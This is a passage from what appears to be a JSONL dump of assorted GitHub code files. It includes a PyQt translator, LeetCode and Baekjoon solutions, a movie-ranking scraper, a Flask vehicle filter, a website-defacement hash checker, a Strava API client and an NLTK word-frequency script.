speechToText(recognizer, microphone):\n with microphone as source:\n recognizer.adjust_for_ambient_noise(source)\n audio = recognizer.listen(source, timeout = 5)\n response = {\n \"success\": True,\n \"error\": None,\n \"transcription\": None\n }\n \n try:\n response[\"transcription\"] = recognizer.recognize_google(audio)\n except sr.RequestError:\n response[\"success\"] = False\n response[\"error\"] = \"API unavailable\"\n except sr.UnknownValueError:\n response[\"success\"] = False\n response[\"error\"] = \"Unable to recognize speech\"\n return response\n\ndef textToSpeech(myText):\n engine.say(myText)\n engine.runAndWait()\n\n\nclass UI(QMainWindow): \n def __init__(self): \n super(UI, self).__init__()\n\n \n #load the ui\n uic.loadUi(\"form.ui\", self)\n\n #setam icon\n self.setWindowIcon(QIcon('resources/icon.png')) \n\n # widgets \n self.textEdit_left = self.findChild(QTextEdit, \"textEdit\")\n self.textEdit_right = self.findChild(QTextEdit, \"textEdit_2\")\n self.comboBox_left = self.findChild(QComboBox, \"comboBox\")\n self.comboBox_right = self.findChild(QComboBox, \"comboBox_2\")\n self.pushButton_MIC = self.findChild(QPushButton, \"pushButton\")\n self.pushButton_ASC = self.findChild(QPushButton, \"pushButton_2\")\n self.pushButton_TRAD = self.findChild(QPushButton, \"pushButton_3\")\n self.pushButton_HELP = self.findChild(QPushButton, \"pushButton_4\")\n self.pushButton_DEL = self.findChild(QPushButton, \"pushButton_5\")\n self.menubar = self.findChild(QMenuBar, \"menubar\")\n self.menu_About = self.findChild(QMenu, \"menu_About\")\n self.menuExit = self.findChild(QMenu, \"menuExit\")\n self.colors = self.findChild(QCheckBox, \"checkBox\")\n\n\n\n # actions \n self.pushButton_TRAD.clicked.connect(self.translate) \n self.pushButton_DEL.clicked.connect(self.clear)\n self.colors.clicked.connect(self.checked)\n\n self.pushButton_MIC.clicked.connect(self.microphone)\n self.pushButton_ASC.clicked.connect(self.listen)\n self.pushButton_HELP.clicked.connect(self.help)\n\n\n # Adaugam limbile\n # dictionar cu toate limbile\n self.languages = googletrans.LANGUAGES\n #lista cu limbile \n self.languages_list = list(self.languages.values())\n # Adaugam in comboBox \n self.comboBox_left.addItems(self.languages_list)\n self.comboBox_right.addItems(self.languages_list)\n # setam valorile implicite\n self.comboBox_left.setCurrentText(\"romanian\")\n self.comboBox_right.setCurrentText(\"english\")\n\n #show\n self.show()\n\n \n\n def clear(self): \n playsound('resources/sounds/click.mp3', False)\n self.textEdit_left.setPlainText(f'')\n self.textEdit_right.setText(\"\")\n #ComboBox\n self.comboBox_left.setCurrentText(\"romanian\")\n self.comboBox_right.setCurrentText(\"english\")\n\n def translate(self): \n playsound('resources/sounds/click.mp3')\n try: \n # id-ul limbii initiale \n for key, value in self.languages.items():\n if(value == self.comboBox_left.currentText()): \n from_language_key = key \n\n # id-ul limbii finale \n for key, value in self.languages.items():\n if(value == self.comboBox_right.currentText()): \n to_language_key = key \n \n #convertim textul in text blob\n words = textblob.TextBlob(self.textEdit_left.toPlainText())\n\n #traducem \n words = words.translate(from_lang=from_language_key, to=to_language_key)\n\n #Afisam \n self.textEdit_right.setText(str(words))\n\n except Exception as ex:\n playsound('resources/sounds/error_tone.mp3', False)\n QMessageBox.about(self, \"Eroare la traducere\", str(ex)) \n\n \n def checked(self):\n playsound(\"resources/sounds/button_click.mp3\", False)\n if self.colors.isChecked() == True: \n qApp.setStyleSheet(\n \"QMainWindow {background-color:\" + themes['on-primary'] + \"}\"\n \"QTextEdit {background-color:\" + themes['secondary'] + \"}\"\n \"QComboBox {background-color:white}\"\n \"QPushButton {background-color:\" + themes['secondary'] + \"}\"\n \"QPushButton#pushButton_3 {background-color:\" + themes['secondary'] + \"}\"\n \"QMessageBox QPushButton {background-color:\" + themes['error'] + \"}\"\n \"QCheckBox::indicator:checked{ image: url('resources/button1.png')}\"\n \"QCheckBox::indicator:unchecked{ image: url('resources/button2.png')}\"\n )\n else: \n qApp.setStyleSheet(\n \"QMainWindow {background-color:\" + themes['primary'] + \"}\"\n \"QTextEdit {background-color:\" + themes['secondary'] + \"}\"\n \"QComboBox {background-color:\" + themes['primary-variant'] + \"}\"\n \"QPushButton {background-color:\" + themes['secondary-variant'] + \"}\"\n \"QPushButton#pushButton_3 {background-color:\" + themes['secondary'] + \"}\"\n \"QMessageBox QPushButton {background-color:\" + themes['error'] + \"}\"\n \"QCheckBox::indicator:checked{ image: url('resources/button1.png')}\"\n \"QCheckBox::indicator:unchecked{ image: url('resources/button2.png')}\"\n )\n\n \n \n def microphone(self): \n playsound('resources/sounds/click.mp3', False) \n recognizer = sr.Recognizer()\n microphone = sr.Microphone() \n action = 'Listening'\n print(action)\n\n textToSpeech(action)\n\n quitFlag = True\n while(quitFlag): \n text = speechToText(recognizer, microphone)\n if not text[\"success\"] and text[\"error\"] == \"API unavailable\":\n print(\"ERROR: {}\\nclose program\".format(text[\"error\"]))\n break\n while not text[\"success\"]:\n print(\"I didn't catch that. What did you say?\\n\")\n text = speechToText(recognizer, microphone)\n\n print(text[\"transcription\"].lower())\n #textToSpeech(text[\"transcription\"].lower())\n \n\n if (text[\"transcription\"].lower() == \"stop\"):\n quitFlag = False\n #app.closeAllWindows()\n else:\n self.textEdit_left.setText(text[\"transcription\"].lower())\n \n \n\n\n def listen(self): \n playsound('resources/sounds/click.mp3', False)\n textToSpeech(self.textEdit_right.toPlainText())\n\n def help(self): \n playsound('resources/sounds/help_button_sound.mp3', False)\n self.window = QtWidgets.QMainWindow()\n self.ui = Ui_helpWindow()\n self.ui.setupUi(self.window)\n self.window.show()\n\n \n\n \n\n\n#app \napp = QApplication(sys.argv)\nUiWindow = UI()\n\nqApp.setStyleSheet(\n \"QMainWindow {background-color:\" + themes['primary'] + \"}\"\n \"QTextEdit {background-color:\" + themes['secondary'] + \"}\"\n \"QComboBox {background-color:\" + themes['primary-variant'] + \"}\"\n \"QPushButton {background-color:\" + themes['secondary-variant'] + \"}\"\n \"QPushButton#pushButton_3 {background-color:\" + themes['secondary'] + \"}\"\n \"QMessageBox QPushButton {background-color:\" + themes['error'] + \"}\"\n \"QCheckBox::indicator:checked{ image: url('resources/button1.png')}\"\n \"QCheckBox::indicator:unchecked{ image: url('resources/button2.png')}\"\n)\n\napp.exec_()","repo_name":"ioan661/translate-app","sub_path":"loadui.py","file_name":"loadui.py","file_ext":"py","file_size_in_byte":9397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42577701267","text":"#\n# @lc app=leetcode.cn id=128 lang=python3\n#\n# [128] 最长连续序列\n#\nclass Solution:\n def longestConsecutive(self, nums: List[int]) -> int:\n num=set(nums)\n maxLen=0\n while num:\n n=num.pop()\n i,l1,l2=n+1,0,0\n while i in num:\n num.remove(i)\n i,l1=i+1,l1+1\n i=n-1\n while i in num:\n num.remove(i)\n i,l2=i-1,l2+1\n maxLen=max(maxLen,l1+l2+1)\n return maxLen\n\n","repo_name":"Wanger-SJTU/leetcode-solutions","sub_path":"python/128.最长连续序列.py","file_name":"128.最长连续序列.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"1909388195","text":"import json\r\nfrom ibm_watson import LanguageTranslatorV3\r\nfrom ibm_cloud_sdk_core.authenticators import IAMAuthenticator\r\n\r\n# Set some variables\r\napi_key = ''\r\napi_url = ''\r\nmodel_id = 'en-it'\r\ntext_to_translate = 'Hey how are you '\r\n\r\n# Prepare the Authenticator\r\nauthenticator = IAMAuthenticator(api_key)\r\nlanguage_translator = LanguageTranslatorV3(\r\n version='2018-05-01',\r\n authenticator=authenticator\r\n)\r\n\r\nlanguage_translator.set_service_url(api_url )\r\n\r\n# Translate\r\ntranslation = language_translator.translate(\r\n text=text_to_translate,\r\n model_id=model_id).get_result()\r\n\r\n# Print results\r\nprint(json.dumps(translation, indent=2, ensure_ascii=False))\r\n\r\n","repo_name":"KunalChavan245/Language-Translator","sub_path":"XZCEB_FLASK_ENG_FR/Final Project/machinetranslation/Translator.py","file_name":"Translator.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21083904694","text":"##시도1\n\nimport sys\nfastin = sys.stdin.readline\n\nn = int(fastin())\nrope = [] #로프의 리스트\nrope_w = [] #로프가 들 수 있는 중량의 리스트\n\nfor _ in range(n):\n rope.append(int(sys.stdin.readline()))\n rope.sort(reverse=True)\nprint(rope)\n\n\nfor i in range(n):\n rope_w.append(rope[i]*(i+1))\nprint(\"답은\",max(rope_w))\n \nprint(rope_w)\n# print(min(rope)*n)\n\n\n##시도2\nimport sys\nfastin = sys.stdin.readline\n\nN = int(fastin())\nrope = [int(fastin()) for i in range(N)]\nrope.sort()\nresult = 0\n\nfor i in range(len(rope)):\n if result \n\n#爬取页面代码并解析\ndef get_html(url):\n try:\n headers={\n 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'\n }\n proxies={\n \"http\": \"117.90.0.225:9000\"\n }\n response=requests.get(url,headers=headers,proxies=proxies,timeout=1)\n response.raise_for_status\n response.encoding='utf-8'\n \n html=BeautifulSoup(response.text,'html.parser')\n \n return html\n \n except:\n print(url,'爬取出错')\n \n\n#Re正则提取\ndef parse_one_page(html):\n pattern=re.compile(\n '

.*?class=\"board-index.*?>(.*?).*?data-src=\"(.*?)\".*?name.*?title.*?>(.*?).*?'+\n 'star.*?>(.*?)<.*?releasetime.*?>(.*?).*?<.*?(.*?)(.*?)

.*?
',re.S\n )\n items=re.findall(pattern,str(html)) #注意将html转化为str格式\n for item in items:\n yield{\n \"index\":item[0],\n \"image\":item[1],\n \"name\":item[2],\n \"star\":item[3].strip()[3:],\n \"releasetime\":item[4].strip()[5:],\n \"integer\":item[5]+item[6],\n }\n return items\n\n\n#写入文件\ndef write_to_file(content):\n path='d:/python/爬虫/猫眼电影排行.txt'\n with open(path,'a',encoding='utf-8') as f:\n f.write(json.dumps(content,ensure_ascii=False)+'\\n')\n\n#整合代码\ndef main(offset):\n url='https://maoyan.com/board/4?offset='+str(offset)\n html=get_html(url)\n items=parse_one_page(html)\n for item in items:\n write_to_file(item)\n\n\nfor i in range(10):\n main(offset=10*i)\n time.sleep(1)\n\n","repo_name":"iFrancesca/spyder","sub_path":"code/猫眼电影排行.py","file_name":"猫眼电影排行.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"21215964859","text":"#d\n\nfrom datetime import datetime\ndata_objekt = datetime.fromisoformat('1950-04-26')\ndata_objekt1 = datetime.fromisoformat('1960-05-30')\ndata_objekt2 = datetime.fromisoformat('1970-09-14')\nclass Avtale:\n\n def __init__(self, title, sted, starttidspunkt,varighet):\n self.title = str(title)\n self.sted = str(sted)\n self.starttidspunkt = starttidspunkt\n self.varighet = int(varighet)\n\n#e\n def __str__(self):\n #return f'avtalen title er: {self.title} \\navtalen sted er: {self.sted} \\navtelen satrtpunkt er: {self.starttidspunkt} \\navtalen varighet er: {self.varighet} '\n return f'{self.title}, {self.sted}, {self.starttidspunkt}, {self.varighet}'\n#f\ndef ny_avtale():\n while True:\n try:\n ny_title = input('skriv inn title for avtalen: ')\n ny_sted = input('i hvilket by tok avtalen sted : ')\n ny_starttidspunkt = datetime.fromisoformat(input('Starttid (ÅÅÅÅ-MM_DD TT:MM:SS ):'))\n ny_varighet = int(input('skrive in varighet: '))\n avtale2 = Avtale(ny_title, ny_sted, ny_starttidspunkt, ny_varighet)\n break\n except ValueError:\n print('feil input. prøv igjen')\n return avtale2\n\n#g\ndef skriveut_liste(lister):\n for i in range(len(lister)):\n print(i, lister[i])\n\n#h\ndef lager_liste(lister):\n with open(\"text.txt\", mode=\"w\")as fila:\n fila.write(\"title ; sted ; starttidspunkt ; varighet \")\n for avtale in lister:\n fila.write(f\"\\n{avtale.title};{avtale.sted};{avtale.starttidspunkt};{avtale.varighet}\")\n\n#i\ndef lese_filliste():\n lister = []\n fila = open (\"text.txt\", \"r\")\n next(fila)\n for linje in fila:\n linje = linje.strip()\n linje = linje.split(\";\")\n title = linje[0].strip()\n sted = linje[1].strip()\n starttidspunkt = datetime.fromisoformat(linje[2].strip())\n varighet = linje[3].strip()\n lister.append(Avtale(title,sted,starttidspunkt,varighet))\n #print(linje)\n fila.close()\n return lister\n\n#j\ndef sjekkdato(liste, dato) :\n avtaler_på_sammedato =[]\n for avtaler in liste:\n if avtaler.starttidspunkt == dato:\n avtaler_på_sammedato.append(avtaler)\n return avtaler_på_sammedato\n\n#k\ndef sjekkstring(liste, string1) :\n avtaler_tittle_str = []\n for avtaler in liste:\n if avtaler.title.find(string1) != -1:\n avtaler_tittle_str.append(avtaler)\n return avtaler_tittle_str\n\nList = []\n\n#if __name__== '__main__':\n #avtale = Avtale('saiksbiko', 'London', data_objekt , 50 )\n #print(avtale)\n #print(ny_avtale())\n #enListe = [Avtale('Gineve', 'Italy', data_objekt, 59)]\n #toList = [Avtale('Oavtale', 'Oslo', data_objekt1, 40)]\n #treListe = [Avtale('Belfor', 'Britin', data_objekt2, 89)]\n #fireListe = [Avtale('Saiksbiko', 'USA', data_objekt, 120)]\n #List = enListe+toList+treListe+fireListe\n #skriveut_liste(List)\n #lager_liste(List)\n #lese_filliste()\n #sjekkdato(enListe, data_objekt)\n #sjekkstring(enListe,'Gineve')\n\n#l#m#n\n\n\n\n\ndef meny_system():\n global List\n meny_valg = List\n while True:\n print(' Velg en av de alternativer:\\n a.lese inn avtaler fra fil\\n b.Skrive avtalene til fil\\n c.Skrive inn en ny avtale\\n d.Skrive ut alle avtalene\\n e.slett en avtale\\n f.rediger en avtale\\n g.Avslutt')\n brukeren_valg = input('velg en av de alternativer:')\n if brukeren_valg == 'a':\n print('du har valgt a')\n List = lese_filliste()\n elif brukeren_valg == 'b':\n print('du har valgt b')\n lager_liste(List)\n elif brukeren_valg == 'c':\n print('du har valgt c')\n List.append(ny_avtale())\n elif brukeren_valg == 'd':\n print('du har valgt d')\n skriveut_liste(List)\n elif brukeren_valg == 'e':\n skriveut_liste(List)\n valg_slett = int(input('hvilken avtalen har du lyst å slette.Skriv indexen til avtale:'))\n List.pop(valg_slett)\n print(meny_valg)\n elif brukeren_valg =='f':\n print('du har valgt f')\n rediger_avtale()\n\n else:\n if brukeren_valg == 'g':\n print('avsluet')\n break\n\n#n\ndef rediger_avtale():\n skriveut_liste(List)\n valg = int(input(\"Velg avtale å redigere\"))\n List[valg] = ny_avtale()\n return skriveut_liste(List)\n\n\n\n\nmeny_system()\n\n","repo_name":"Diana-2021/prosjekt80","sub_path":"oving9d.py","file_name":"oving9d.py","file_ext":"py","file_size_in_byte":4452,"program_lang":"python","lang":"no","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"20294505294","text":"# 25206번\n# rating = ['A+', 'A0', 'B+', 'B0', 'C+', 'C0', 'D+', 'D0', 'F']\n# grade = [4.5, 4.0, 3.5, 3.0, 2.5, 2.0, 1.5, 1.0, 0]\n# total = 0 # 학점 총합을 담을 변수\n# result = 0 # (학점 * 과목평점) 총합을 담을 변수\n# for i in range(20): #20줄 입력\n# s, p, g = input().split()\n# #과목, 학점, 과목평점이 띄어쓰기로 구분되어 들어오므로 split을 사용해서 세 변수에 나눠 저장\n# p = float(p) #실수 자료형으로 바꿔줌 (사칙연산 위해)\n# if g != 'P' : # 등급이 P인 과목은 계산 안함\n# total += p\n# result += p * grade[rating.index(g)]\n# print('%.6f'%(result / total))\n# #result를 total로 나누면 평점이고, 소수점 아래 6자까지 출력하기 위해 '%.6f'%를 사용\n\n# 2839번\n# sugar = int(input())\n# bag = 0\n# while sugar >= 0 :\n# if sugar % 5 == 0: # 5의 배수이면\n# bag += sugar // 5 # 5로 나눈 몫을 구해야 정수가 됨\n# print(bag)\n# break\n# sugar -= 3 \n# bag += 1 # 5의 배수가 될 때까지 설탕-3, 봉지+1\n \n# #5키로 봉지가 많아야 좋기 때문에\n# #설탕-3, 봉지+1을 하면서 5로 나눠지는지 본다.\n# else:\n# print(-1)\n# #while문의 조건이 거짓이 되는 순간 else문이 실행되는\n# #while ~ else문이다. for ~ else도 가능하다.\n\n\n# average_score = (standard_score(학점) * jihun_score(지훈학점)) //total_standard_score\n\n\n\n\n\n\ntotal_g = 0\ntotal_p = 0\n\ndic = {\"A+\":4.5,\"A0\":4.0, \"B+\":3.5, \"B0\":3.0, \"C+\":2.5, \"C0\":2.0, \"D+\":1.5, \"D0\":1.0, \"F\":0.0}\n\nfor i in range(20):\n s, p, g = input().split()\n p = float(p) \n if g == \"p\": \n continue\n g = dic[g]\n total_g += p * g\n total_p += p\n# 과목명, 학점 3.0, 점수 A+\n# 점수 * 학점// 총학점\nprint(total_g//total_p)\n \n \n ","repo_name":"nature1339/python_algorithm_02","sub_path":"25206.py","file_name":"25206.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6362005307","text":"import hashlib\nimport pathlib\nfrom scripts.model.connection import DB\nfrom typing import List\nimport os\nfrom tqdm import tqdm\nimport datetime\nfrom scripts.model.report import Report, FailureReport, SuccessReport\n \nBASE_URL = os.getenv('SITE_URL')\nSKIP_DIRS = [\".env\", \"logs\", \"scripts\"]\n\ndef notify_warnings(report_file_path: str):\n pass\n\ndef write_report(prefix: str, reports: List[Report])-> str:\n if not os.path.exists('logs'):\n os.makedirs('logs')\n current_time = datetime.datetime.now()\n formatted_time = current_time.strftime(\"%Y-%m-%dT%H:%M:%S\")\n file_name = os.path.join('logs',f'{prefix}_{formatted_time}.csv')\n print(f'Exported to {file_name}')\n with open(file_name, 'w') as f:\n for report in reports:\n f.writelines(str(report) + '\\n')\n return file_name\n\ndef list_files_in_directory(directory: str, skip_dirs):\n items = []\n large_dir = pathlib.Path(directory)\n for item in large_dir.rglob(\"*\"):\n if set(item.parts).isdisjoint(skip_dirs) and not os.path.isdir(item):\n items.append(str(item))\n return items\n\ndef get_current_hash(path: str):\n with open(path, 'rb') as f:\n html = f.read()\n sha256_hash = hashlib.sha256(html).hexdigest()\n return sha256_hash\n\ndef get_previous_hash(path: str):\n query = \"\"\"\n SELECT * FROM tbl_hashed_web_content where file_path = %s\"\"\"\n cursor.execute(query, params=[path])\n result = cursor.fetchone()\n print('result', result)\n if result:\n return result[2]\n else:\n return None\n\ndef changed_hash_web_content_result(path: str, status: str):\n new_hash = get_current_hash(path)\n query = '''INSERT INTO tbl_hashed_web_content (file_path, hashed_content, result) VALUES (%s, %s, %s) \n ON DUPLICATE KEY UPDATE hashed_content = %s, result = %s'''\n cursor.execute(query, params=(path, new_hash, status, new_hash, status))\n # print(query % (path, new_hash, status, new_hash, status))\n cnx.commit()\n print(f'Added new hashed content: {new_hash}')\n return new_hash\n\ndef try_detect_content_change(reports: List[Report]):\n try:\n flag = True\n for path in tqdm(list_files_in_directory('.', skip_dirs=SKIP_DIRS)):\n current_hash = get_current_hash(path)\n previous_hash = get_previous_hash(path)\n print('==================', previous_hash)\n if not previous_hash:\n print('Cannot get previous_hash, proceed to create new hash')\n previous_hash = changed_hash_web_content_result(path, 'intacted')\n \n if current_hash != previous_hash:\n changed_hash_web_content_result(path, 'changed')\n reports.append(\n FailureReport(\n content='Website has been modified, possible deface attack!',\n file_path=path\n )\n )\n flag = False\n else:\n reports.append(\n SuccessReport(\n content='Website is intact',\n file_path=path\n )\n )\n return flag\n except Exception as e:\n raise e\n\nif __name__=='__main__':\n db = DB.getInstance()\n try:\n cursor = db.cursor\n cnx = db.cnx\n reports = []\n is_success = try_detect_content_change(reports)\n report_file_path = write_report('deface_attack_report', reports)\n if not is_success:\n notify_warnings(report_file_path)\n finally:\n db.close()\n","repo_name":"LokeLunarius/my_website_v2","sub_path":"my_website/scripts/check_content.py","file_name":"check_content.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33242841815","text":"import os\nimport requests\nimport logging\n\nclass StravaService: \n def get_ride_ytd(self):\n url = f'https://www.strava.com/api/v3/athletes/{os.environ.get(\"STRAVA_RIDER_ID\")}/stats'\n response = requests.get(url, headers = { \"Authorization\": f'Bearer {self.acquire_access_token()}'})\n \n if response.status_code != 200:\n logging.warning(\"something went wrong with strava api\")\n logging.warning(response.json())\n return -1\n logging.info(\"strava api call successful\")\n return response.json()['ytd_ride_totals']['distance']\n\n def acquire_access_token(self):\n auth_url = \"https://www.strava.com/oauth/token\"\n\n payload = {\n \"client_id\": os.environ.get(\"STRAVA_CLIENT_ID\"),\n \"client_secret\": os.environ.get(\"STRAVA_CLIENT_SECRET\"),\n \"grant_type\": \"refresh_token\",\n \"refresh_token\": os.environ.get(\"STRAVA_REFRESH_TOKEN\"),\n }\n\n response = requests.post(auth_url, data=payload)\n if response.status_code != 200:\n logging.warning(\"something went wrong with strava api\")\n logging.warning(response.json())\n return -1\n logging.info(\"strava api call successful\")\n return response.json()['access_token']\n","repo_name":"svopper/weatherboard","sub_path":"server/strava.py","file_name":"strava.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"31676573243","text":"\n \n# Driver program to test above function\na = int(input())\nb = int(input())\nif(a= 1990) and (filter_args[\"year\"] <= date.today().year):\n print(\"year:\", filter_args[\"year\"])\n query_filters.append(VehiclesModel.vehicle_year==filter_args[\"year\"])\n else:\n if filter_args[\"year_min\"] and (filter_args[\"year_min\"] >= 1990) and (filter_args[\"year_min\"] <= date.today().year):\n print(\"year_min:\", filter_args[\"year_min\"])\n query_filters.append(VehiclesModel.vehicle_year>=filter_args[\"year_min\"])\n \n if filter_args[\"year_max\"] and (filter_args[\"year_max\"] >= 1990) and (filter_args[\"year_max\"] <= date.today().year):\n print(\"year_max:\", filter_args[\"year_max\"])\n query_filters.append(VehiclesModel.vehicle_year<=filter_args[\"year_max\"])\n \n if filter_args[\"price\"] and (filter_args[\"price\"] >= 0):\n print(\"price:\", filter_args[\"price\"])\n query_filters.append(VehiclesModel.vehicle_price==filter_args[\"price\"])\n else:\n if filter_args[\"price_min\"] and (filter_args[\"price_min\"] >= 0):\n print(\"price_min:\", filter_args[\"price_min\"])\n query_filters.append(VehiclesModel.vehicle_price>=filter_args[\"price_min\"])\n \n if filter_args[\"price_max\"] and (filter_args[\"price_max\"] >= 0):\n print(\"price_max:\", filter_args[\"price_max\"])\n query_filters.append(VehiclesModel.vehicle_price<=filter_args[\"price_max\"])\n \n if filter_args[\"mileage\"] and (filter_args[\"mileage\"] >= 0):\n print(\"mileage:\", filter_args[\"mileage\"])\n query_filters.append(VehiclesModel.vehicle_mileage==filter_args[\"mileage\"])\n else:\n if filter_args[\"mileage_min\"] and (filter_args[\"mileage_min\"] >= 0):\n print(\"mileage_min:\", filter_args[\"mileage_min\"])\n query_filters.append(VehiclesModel.vehicle_mileage>=filter_args[\"mileage_min\"])\n \n if filter_args[\"mileage_max\"] and (filter_args[\"mileage_max\"] >= 0):\n print(\"mileage_max:\", filter_args[\"mileage_max\"])\n query_filters.append(VehiclesModel.vehicle_mileage<=filter_args[\"mileage_max\"])\n \n if filter_args[\"tank_capacity\"] and (filter_args[\"tank_capacity\"] >= 0):\n print(\"tank_capacity:\", filter_args[\"tank_capacity\"])\n query_filters.append(VehiclesModel.vehicle_tank_capacity==filter_args[\"tank_capacity\"])\n else:\n if filter_args[\"tank_capacity_min\"] and (filter_args[\"tank_capacity_min\"] >= 0):\n print(\"tank_capacity_min:\", filter_args[\"tank_capacity_min\"])\n query_filters.append(VehiclesModel.vehicle_tank_capacity>=filter_args[\"tank_capacity_min\"])\n \n if filter_args[\"tank_capacity_max\"] and (filter_args[\"tank_capacity_max\"] >= 0):\n print(\"tank_capacity_max:\", filter_args[\"tank_capacity_max\"])\n query_filters.append(VehiclesModel.vehicle_tank_capacity<=filter_args[\"tank_capacity_max\"])\n \n if filter_args[\"engine_capacity\"] and (filter_args[\"engine_capacity\"] >= 0):\n print(\"engine_capacity:\", filter_args[\"engine_capacity\"])\n query_filters.append(VehiclesModel.vehicle_engine_capacity==filter_args[\"engine_capacity\"])\n else:\n if filter_args[\"engine_capacity_min\"] and (filter_args[\"engine_capacity_min\"] >= 0):\n print(\"engine_capacity_min:\", filter_args[\"engine_capacity_min\"])\n query_filters.append(VehiclesModel.vehicle_engine_capacity>=filter_args[\"engine_capacity_min\"])\n \n if filter_args[\"engine_capacity_max\"] and (filter_args[\"engine_capacity_max\"] >= 0):\n print(\"engine_capacity_max:\", filter_args[\"engine_capacity_max\"])\n query_filters.append(VehiclesModel.vehicle_engine_capacity<=filter_args[\"engine_capacity_max\"])\n \n return query_filters\n\n\n","repo_name":"ma593y/flask-sample-app","sub_path":"app/utils/vehicles.py","file_name":"vehicles.py","file_ext":"py","file_size_in_byte":7023,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"36222608553","text":"import fractions\nimport json\nfrom turtle import backward\nfrom unicodedata import decimal\n\n\n# variabel dapat berupa apa saja dalam berbagai jenis tipe data baik int string boolean float\n# dalam python tidak terdapat variabel konstanta\n# pendefinisian variabel dapat dilakukan secara langsung tanpa harus disertai var seperti json\n# penamaan variabel tidak boleh diawali angka dan tanda baca\n# contoh variabel \n\na = 5\nb = 5\nc = a + b\n\nprint(type(a))\n\n# terdapat berbagai tipe data yaitu int string boolean float decimal complex fractions\n# int berupa angka\n# string berupa teks\n# boolean menghasil kan nilai True False\n# float untuk nilai angka dengan bilangan rill dengan angka dibelekang koma\n# decimal untuk nilai decimal dengan bilangan riil dengan angka dibelakang koma yang banyak seperti PI\n# complex untuk nilai imajiner 1 + 3j\n# fractions untuk nilai pecahan 1/2\n# contoh\n\na = int(5)\nb = str('haloo')\nc = True\nd = float(1.2)\n\nimport decimal\ndecimal.Decimal(1.1)\n\ne = 3 + 1j\n\nimport fractions\nf = fractions.Fraction(1,2)\n\nprint(a)\nprint(b)\nprint(c)\nprint(d)\nprint(e)\nprint(f)","repo_name":"Abhysta/Python","sub_path":"1_variabel_tipe_data.py","file_name":"1_variabel_tipe_data.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35966386185","text":"import argparse\nfrom collections import defaultdict\nimport glob\nimport json\nimport nltk\nfrom nltk.stem.snowball import SnowballStemmer\nfrom nltk.tokenize import word_tokenize\nimport ntpath\nimport os\nimport sys\n\nnltk.download('punkt')\nnltk.download('stopwords')\n\nfrom nltk.corpus import stopwords\n\n\ndef find_frequent_words(documents_dir, select_count, output_file):\n\t# set up our nltk tools\n\tstemmer = SnowballStemmer('english')\n\tstop_words = set(stopwords.words('english'))\n\ttokenizer = nltk.data.load('tokenizers/punkt/english.pickle')\n\n\tdocuments = []\n\t# all sentences\n\tsentences = []\n\t# map sentences to documents\n\tsentence_document_map = []\n\tword_frequency = defaultdict(int)\n\t# map words to sentences\n\tword_sentence_map = defaultdict(set)\n\t# map original form of words to their stems\n\tstemmed_word_map = defaultdict(set)\n\n\t# loop documents in documents dir\n\tfor index, file in enumerate(glob.glob(os.path.join(documents_dir, '*'))):\n\t\tdocuments.append(ntpath.basename(file))\n\t\twith open(file, 'r', encoding='utf-8') as f:\n\t\t\t# starting sentence index for current document\n\t\t\tnum_sentences = len(sentences)\n\t\t\tcontent = f.read()\n\t\t\tcontent_sentences = tokenizer.tokenize(content)\n\t\t\tnum_new_sentences = len(content_sentences)\n\t\t\t# add new sentences to all sentences list\n\t\t\tsentences.extend(content_sentences)\n\t\t\t# map new sentences to current document\n\t\t\tsentence_document_map.extend([index] * len(content_sentences))\n\n\t\t\t# process sentences into words and stems\n\t\t\t# alternately, we can use scikit learn count vectorizer here\n\t\t\tfor i in range(num_new_sentences):\n\t\t\t\t# get index of sentence in all sentences list\n\t\t\t\tsentence_index = i + num_sentences\n\t\t\t\twords = word_tokenize(content_sentences[i].lower())\n\t\t\t\tfor w in words:\n\t\t\t\t\tif w.isalpha() and w not in stop_words:\n\t\t\t\t\t\tstemmed = stemmer.stem(w)\n\t\t\t\t\t\tword_frequency[stemmed] += 1\n\t\t\t\t\t\t# map word (stem) to sentence\n\t\t\t\t\t\tword_sentence_map[stemmed].add(sentence_index)\n\t\t\t\t\t\t# track original forms of the stemmed word\n\t\t\t\t\t\tstemmed_word_map[stemmed].add(w)\n\n\twf_sorted = sorted(word_frequency.items(), key=lambda x: x[1], reverse=True)\n\n\t# frequent words and details\n\tfrequent_words = []\n\t# one list of associated sentences\n\tsentence_references = {}\n\tfor root, count in wf_sorted[:select_count]:\n\t\tdetails = {\n\t\t\t'root': root,\n\t\t\t'frequency': count,\n\t\t\t'documents': set(),\n\t\t\t'sentences': defaultdict(list),\n\t\t\t'forms': list(stemmed_word_map[root]),\n\t\t}\n\t\tfor sentence_index in word_sentence_map[root]:\n\t\t\tdetails['documents'].add(sentence_document_map[sentence_index])\n\t\t\tdetails['sentences'][sentence_document_map[sentence_index]].append(sentence_index)\n\t\t\tsentence_references[sentence_index] = sentences[sentence_index]\n\t\tdetails['documents'] = list(details['documents'])\n\t\tdetails['num_sentences'] = len(details['sentences'])\n\t\tfrequent_words.append(details)\n\n\tresults = {\n\t\t'frequent_words': frequent_words,\n\t\t'documents': documents,\n\t\t'sentences': sentence_references,\n\t}\n\n\twith open(output_file, 'w') as f:\n\t\tf.write('let data={}'.format(json.dumps(results)))\n\n\nif __name__ == 